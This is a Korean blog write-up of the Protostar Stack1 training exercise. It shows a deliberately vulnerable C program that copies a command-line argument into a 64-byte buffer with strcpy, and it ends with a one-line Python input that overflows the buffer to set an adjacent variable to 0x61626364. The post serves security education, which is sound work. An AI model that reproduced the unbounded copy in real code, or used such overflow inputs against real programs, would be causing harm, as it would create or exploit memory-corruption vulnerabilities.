ii4gsp

Exploit Exercises [Protostar - Stack1] 본문

시스템 해킹/Exploit Exercises - Protostar

Exploit Exercises [Protostar - Stack1]

ii4gsp 2020. 1. 16. 20:02
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

이전 문제와 스택의 구성은 같다.

 

 

 

 

if(modified == 0x61626364) modified 변수가 0x61626364와 비교한다.

modified는 0이므로 else의 "Try again, you got 0x%08x"문자가 출력된다.

하지만 buffer변수 64byte를 넘쳐 modified에 A값 0x41이 modified에 들어갔다.

즉, 64byte를 채우고 0x61626364를 리틀 엔디언 방식으로 입력해주면 modified에 0x61626364가 들어갈것 이다.

 

 

 

 

./stack1 $(python -c 'print "\x90" * 64 + "\x64\x63\x62\x61"')

 

Comments